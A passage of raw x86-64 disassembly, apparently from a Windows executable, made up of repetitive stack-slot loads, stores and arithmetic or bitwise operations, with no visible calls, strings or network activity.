movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0x13d8], ax
movzx eax, byte [0x1401e700f]
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9fc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xab40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5200]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f1c], eax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0xc810], rax
mov rax, qword [rsp + 0xc310]
mov rcx, qword [rsp + 0xb210]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0xc818], rax
mov rax, qword [rsp + 0xb8e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
shl eax, cl
mov word [rsp + 0x13f4], ax
movsx eax, word [rsp + 0x13ac]
movsx ecx, word [rsp + 0x156c]
sar eax, cl
mov word [0x1401e708c], ax
mov rax, qword [rsp + 0xb6a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbac8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x132c], ax
lea rax, [rsp + 0x117]
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xb2a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x228]
or eax, ecx
mov byte [rsp + 0x1e0], al
movzx eax, byte [rsp + 0x178]
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0xad00]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa760]
mov rax, qword [rax]
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0x9d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5114]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5464], eax
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbfd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8ae0]
mov word [rcx], ax
lea rax, [rsp + 0x209]
mov qword [rsp + 0xc830], rax
movzx eax, word [rsp + 0x1518]
movzx ecx, word [rsp + 0x106c]
sub eax, ecx
mov rcx, qword [rsp + 0xbe30]
mov word [rcx], ax
movzx eax, word [rsp + 0x1288]
mov word [rsp + 0x16a4], ax
movsx eax, word [rsp + 0x14b8]
mov rcx, qword [0x1401e8a00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10bc], ax
mov eax, dword [rsp + 0x4e98]
mov ecx, dword [rsp + 0x53d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5258]
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb3d0], rax
mov rax, qword [rsp + 0xb1e8]
mov rax, qword [rax]
mov qword [rsp + 0xc838], rax
lea rax, [rsp + 0x99]
mov qword [0x1401e8f00], rax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
sub eax, ecx
mov byte [rsp + 0x7d], al
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x142c]
sub eax, ecx
mov word [rsp + 0x1538], ax
movzx eax, byte [rsp + 0x204]
mov byte [rsp + 0x235], al
movsx eax, word [rsp + 0x14f8]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0x9320]
mov qword [rsp + 0xc840], rax
mov rax, qword [rsp + 0x9778]
mov ecx, dword [rsp + 0x52dc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa648]
mov dword [rcx], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xc440]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0xaf80]
mov eax, dword [rax]
mov dword [rsp + 0x54b0], eax
lea rax, [rsp + 0x10a0]
mov qword [0x1401e8f08], rax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0xa040]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xab50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x102], al
movzx eax, byte [rsp + 0xad]
mov byte [rsp + 0x236], al
mov eax, dword [rsp + 0x5224]
mov ecx, dword [0x1401e7008]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb408]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc2a0]
mov rcx, qword [rsp + 0x8df8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9be0], rax
lea rax, [rsp + 0xaa60]
mov qword [rsp + 0xc848], rax
mov rax, qword [rsp + 0x9a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x9bf8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8e20]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1be]
mov byte [rsp + 0x237], al
movsx eax, word [rsp + 0x1260]
movsx ecx, word [rsp + 0x1424]
add eax, ecx
mov word [rsp + 0x1458], ax
movzx eax, word [rsp + 0x1020]
mov rcx, qword [rsp + 0x9688]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc48]
mov word [rcx], ax
lea rax, [rsp + 0xdb]
mov qword [rsp + 0xc850], rax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x53ac]
mov dword [rsp + 0x54b4], eax
mov rax, qword [rsp + 0xb3a8]
mov ecx, dword [rsp + 0x4ecc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
movzx eax, word [rsp + 0x1048]
movzx ecx, word [rsp + 0x1620]
shl eax, cl
mov rcx, qword [0x1401e8c90]
mov word [rcx], ax
movzx eax, word [0x1401e8cd0]
mov word [rsp + 0x16ac], ax
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x1260]
xor eax, ecx
mov word [rsp + 0x110c], ax
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0x238], al
movzx eax, word [rsp + 0x120c]
mov rcx, qword [rsp + 0x8ea8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e70]
mov dword [rsp + 0x54b8], eax
mov rax, qword [rsp + 0xc120]
mov rcx, qword [rsp + 0xa6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa48], rax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb678]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8df8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5364]
mov dword [rsp + 0x54bc], eax
mov rax, qword [rsp + 0xa6c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f2]
add eax, ecx
mov byte [0x1401e70ce], al
movzx eax, byte [rsp + reloc.COMCTL32.dll_DefSubclassProc]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0x157], al
lea rax, [rsp + 0x10e]
mov qword [rsp + 0xc858], rax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0xd3]
add eax, ecx
mov byte [rsp + 0x18a], al
mov rax, qword [0x1401e8b00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13c8], ax
mov rax, qword [rsp + 0x9e60]
mov qword [rsp + 0xc860], rax
mov rax, qword [rsp + 0xb580]
mov rcx, qword [rsp + 0x9fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5498], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xc868], rax
mov rax, qword [rsp + 0xc4c0]
mov rcx, qword [rsp + 0xc6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x12d8]
mov rcx, qword [rsp + 0xb760]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e71ac], ax
movsx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0xb2c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0xc830]
movzx eax, byte [rax]
mov byte [rsp + 0x239], al
mov rax, qword [rsp + 0x91b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x159c]
sub eax, ecx
mov word [rsp + 0x12ec], ax
lea rax, [rsp + 0x1474]
mov qword [rsp + 0xc870], rax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5320]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0xa170]
mov ecx, dword [rsp + 0x4ee4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ed8], eax
lea rax, [rsp + 0x9ff0]
mov qword [rsp + 0xc878], rax
mov rax, qword [rsp + 0xbb60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb228]
mov qword [rsp + 0xc880], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9a78], rax
movzx eax, word [rsp + 0x1370]
mov word [rsp + 0x16b0], ax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x190]
sar eax, cl
mov byte [0x1401e70ae], al
mov rax, qword [rsp + 0x9148]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc5f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x144c]
mov word [rsp + 0x16b4], ax
movsx eax, word [0x1401e8a18]
movsx ecx, word [rsp + 0x15a8]
sub eax, ecx
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0xbbf0]
mov ecx, dword [rsp + 0x4fbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97e8]
mov qword [rsp + 0xc888], rax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0x9f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5174], eax
lea rax, [rsp + 0xc828]
mov qword [rsp + 0xc890], rax
movzx eax, word [rsp + 0x13b4]
mov rcx, qword [0x1401e8ce8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x152c], ax
movzx eax, byte [rsp + 0x14b]
movzx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [0x1401e8ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x93f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
and eax, ecx
mov byte [rsp + 0x13b], al
lea rax, [0x1401e70bf]
mov qword [rsp + 0xc898], rax
movsx eax, byte [rsp + 0x220]
mov rcx, qword [rsp + 0xa568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x54c0], eax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0xc280]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc2e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc200]
mov qword [rsp + 0xc8a0], rax
movzx eax, byte [rsp + 0x1fd]
movzx ecx, byte [0x1401e7025]
or eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0xa6a8]
movzx eax, word [rax]
mov word [0x1401e8f10], ax
lea rax, [rsp + 0x14d4]
mov qword [rsp + 0xc8a8], rax
movsx eax, word [rsp + 0x1170]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0xc8b0], rax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa978]
mov qword [rsp + 0xc8b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xab98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd08]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ee8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e84]
mov dword [rsp + 0x54c4], eax
mov rax, qword [rsp + 0xad70]
mov rcx, qword [rsp + 0xb2e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb478]
mov qword [rcx], rax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0xc8c0], rax
lea rax, [rsp + 0x12b]
mov qword [0x1401e8f18], rax
mov rax, qword [rsp + 0xc820]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb1], al
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0xc8c8], rax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x162c]
add eax, ecx
mov word [rsp + 0x1598], ax
lea rax, [rsp + 0xabd0]
mov qword [rsp + 0xc8d0], rax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51d4], eax
mov rax, qword [rsp + 0x9ab0]
mov ecx, dword [rsp + 0x50c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d88], eax
lea rax, [rsp + 0xabd8]
mov qword [rsp + 0xc8d8], rax
movsx eax, word [0x1401e8cd0]
movsx ecx, word [rsp + 0x1164]
add eax, ecx
mov rcx, qword [0x1401e8eb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [rsp + 0x227]
and eax, ecx
mov byte [rsp + 0x140], al
movzx eax, byte [rsp + 0xa2]
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0xc720]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e4]
sub eax, ecx
mov word [rsp + 0x1304], ax
movzx eax, byte [rsp + 0x124]
movzx ecx, byte [rsp + 0x1ba]
shl eax, cl
mov byte [rsp + 0x191], al
mov rax, qword [rsp + 0xbcf0]
mov rax, qword [rax]
mov qword [rsp + 0xc8e0], rax
mov rax, qword [rsp + 0x9b30]
mov rcx, qword [0x1401e7028]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe0], rax
lea rax, [rsp + 0x5170]
mov qword [rsp + 0xc8e8], rax
mov eax, dword [rsp + 0x523c]
movzx ecx, al
mov eax, dword [rsp + 0x4e8c]
sar eax, cl
mov rcx, qword [rsp + 0xadd0]
mov dword [rcx], eax
movsx eax, byte [0x1401e7037]
movsx ecx, byte [rsp + 0x144]
xor eax, ecx
mov rcx, qword [0x1401e8f18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x23b], al
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [0x1401e87d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1404], ax
mov rax, qword [rsp + 0xba70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x153]
and eax, ecx
mov byte [rsp + 0x137], al
movzx eax, word [rsp + 0x1244]
mov word [rsp + 0x16b8], ax
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4db4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba80]
mov dword [rcx], eax
lea rax, [rsp + 0xc038]
mov qword [rsp + 0xc8f0], rax
mov eax, dword [rsp + 0x4e1c]
mov ecx, dword [rsp + 0x52f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53b0], eax
mov rax, qword [rsp + 0xac20]
mov rcx, qword [rsp + 0xc2d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb5f0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x179]
movsx ecx, byte [rsp + 0x11a]
sub eax, ecx
mov byte [0x1401e70cf], al
movzx eax, word [rsp + 0x1690]
mov word [rsp + 0x16bc], ax
mov rax, qword [rsp + 0x9608]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1018], ax
lea rax, [rsp + 0x1a6]
mov qword [rsp + 0xc8f8], rax
movzx eax, word [rsp + 0x1290]
mov rcx, qword [rsp + 0x9968]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc188]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5a0]
mov ecx, dword [rsp + 0x5490]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc368]
mov eax, dword [rax]
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0xacc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x9d38]
mov qword [rsp + 0xc900], rax
lea rax, [rsp + 0x14d]
mov qword [0x1401e8f20], rax
movzx eax, word [rsp + 0x15f8]
movzx ecx, word [rsp + 0x134c]
sar eax, cl
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7e8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e88c6]
xor eax, ecx
mov byte [rsp + 0x110], al
lea rax, [rsp + 0x1630]
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xc8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbbb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov dword [rsp + 0x54cc], eax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0xb928]
mov qword [rsp + 0xc910], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9b10], rax
mov eax, dword [rsp + 0x5494]
mov dword [rsp + 0x54d0], eax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xa770]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb850]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ec0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x112]
sub eax, ecx
mov byte [0x1401e88da], al
mov rax, qword [rsp + 0xb038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xba]
and eax, ecx
mov rcx, qword [rsp + 0xa608]
mov byte [rcx], al
movzx eax, word [rsp + 0xff4]
mov word [rsp + 0x16c0], ax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0x1144]
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5310], eax
mov rax, qword [rsp + 0x9488]
mov rcx, qword [rsp + 0xb7f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaab8], rax
lea rax, [rsp + 0x5120]
mov qword [rsp + 0xc918], rax
mov rax, qword [rsp + 0xc570]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ea0], rax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [0x1401e8ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov byte [rsp + 0x23c], al
mov rax, qword [rsp + 0x9788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1020], ax
mov rax, qword [rsp + 0xbbf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc6d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x155c], ax
lea rax, [rsp + 0x216]
mov qword [rsp + 0xc920], rax
mov rax, qword [rsp + 0x97c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52ec], eax
lea rax, [rsp + 0x5170]
mov qword [rsp + 0xc928], rax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0x94e8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf20]
mov rax, qword [rax]
mov qword [rsp + 0xc930], rax
lea rax, [rsp + 0xaa]
mov qword [0x1401e8f28], rax
mov rax, qword [rsp + 0xbf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14fc]
sar eax, cl
mov word [rsp + 0x14e8], ax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [0x1401e88d8]
or eax, ecx
mov word [rsp + 0x1590], ax
movzx eax, word [rsp + 0x1134]
mov word [rsp + 0x16c8], ax
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11b]
shl eax, cl
mov byte [rsp + 0x74], al
lea rax, [0x1401e7028]
mov qword [rsp + 0xc938], rax
mov rax, qword [rsp + 0xaa38]
mov rcx, qword [rsp + 0xbc70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb5c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ff0]
mov qword [rcx], rax
lea rax, [rsp + 0x51fc]
mov qword [rsp + 0xc940], rax
mov rax, qword [rsp + 0xa898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9310]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb230]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
and eax, ecx
mov word [0x1401e8e40], ax
lea rax, [0x1401e7025]
mov qword [rsp + 0xc948], rax
movzx eax, word [rsp + 0x1494]
movzx ecx, word [rsp + 0x1620]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa168]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x232], al
lea rax, [rsp + 0x5200]
mov qword [rsp + 0xc950], rax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x5264]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x52c8], eax
lea rax, [rsp + 0xa7c0]
mov qword [rsp + 0xc958], rax
mov rax, qword [rsp + 0xc338]
mov rcx, qword [rsp + 0xb520]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14f8]
sub eax, ecx
mov word [rsp + 0x1378], ax
movzx eax, word [rsp + 0x13e0]
mov rcx, qword [0x1401e8948]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e71b0], ax
mov rax, qword [rsp + 0xb218]
movzx eax, byte [rax]
mov byte [rsp + 0x23d], al
mov rax, qword [rsp + 0xa508]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x211]
xor eax, ecx
mov rcx, qword [rsp + 0xb930]
mov byte [rcx], al
lea rax, [rsp + 0x1fd]
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0xaa20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9808]
mov qword [rsp + 0xc968], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc968]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0xa420]
mov qword [rsp + 0xc970], rax
mov rax, qword [rsp + 0x9468]
mov rcx, qword [rsp + 0xa190]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xafc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5258]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d38]
mov dword [rcx], eax
lea rax, [rsp + 0x89]
mov qword [rsp + 0xc978], rax
movzx eax, word [rsp + 0x10c0]
mov word [0x1401e8f30], ax
movzx eax, word [rsp + 0x1058]
mov rcx, qword [0x1401e88f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa80]
movzx eax, word [rax]
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x98e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x116c]
sub eax, ecx
mov word [rsp + 0x1294], ax
mov eax, dword [rsp + 0x4ee4]
mov ecx, dword [0x1401e7004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5028]
mov dword [rsp + 0x54d4], eax
mov rax, qword [rsp + 0x90b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
lea rax, [rsp + 0xb6b8]
mov qword [rsp + 0xc980], rax
movsx eax, word [rsp + 0x15d0]
movsx ecx, word [rsp + 0x16cc]
and eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a6]
sub eax, ecx
mov rcx, qword [0x1401e8988]
mov byte [rcx], al
movzx eax, word [0x1401e70b8]
mov rcx, qword [rsp + 0xa708]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1bb]
mov byte [rsp + 0x23e], al
mov rax, qword [rsp + 0x9bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9310]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13b], al
mov rax, qword [0x1401e8e58]
movzx eax, byte [rax]
mov byte [rsp + 0x23f], al
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x8d40]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb520], rax
lea rax, [rsp + 0xa1d0]
mov qword [rsp + 0xc988], rax
mov eax, dword [rsp + 0x54a8]
mov ecx, dword [rsp + 0x533c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0x91e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x51f8]
shr eax, cl
mov dword [rsp + 0x4f2c], eax
movsx eax, byte [rsp + 0x216]
mov rcx, qword [rsp + 0xc450]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8b28]
mov byte [rcx], al
lea rax, [rsp + 0x1198]
mov qword [rsp + 0xc990], rax
mov rax, qword [rsp + 0xad10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, word [rcx]
shl eax, cl
